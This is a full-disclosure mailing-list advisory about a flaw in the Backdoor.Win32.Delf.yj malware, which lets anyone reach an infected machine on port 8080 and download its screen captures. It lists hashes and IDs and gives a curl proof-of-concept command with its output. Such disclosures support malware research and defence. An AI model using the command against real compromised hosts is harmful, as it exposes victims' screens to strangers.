full-disclosure - [FD] Backdoor.Win32.Delf.yj / Information Disclosure

Open Source and information security mailing list archives

Message-ID: <CAAHK0WSKK7xDV5SvjGTC0CMVNcT71+sedrQ3vT2YBUC2BYpaBg@mail.gmail.com>
Date: Tue, 17 Sep 2024 21:27:31 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Delf.yj / Information Disclosure

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
https://malvuln.com/advisory/f991c25f1f601cc8d14dca4737415238.txt
Contact: malvuln13@...il.com
Media: x.com/malvuln

Threat: Backdoor.Win32.Delf.yj
Vulnerability: Information Disclosure
Description: The malware listens on TCP port 8080. Third-party
adversaries who can reach an infected system, can  download screen
captures of a victims machine by making a simple HTTP GET request.
Family: Delf
Type: PE32
MD5: f991c25f1f601cc8d14dca4737415238
SHA256: 512af3cc193e9cb7f0b6204889bc457affded79aa62c41ab20a74625e4279caa
Vuln ID: MVID-2024-0693
Dropped files: dxdiag.scr
Disclosure: 09/17/2024

Exploit/PoC:
curl 192.168.18.125:8080  --output victim.jpg
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  106k  100  106k    0     0   338k      0 --:--:-- --:--:-- --:--:--  341k

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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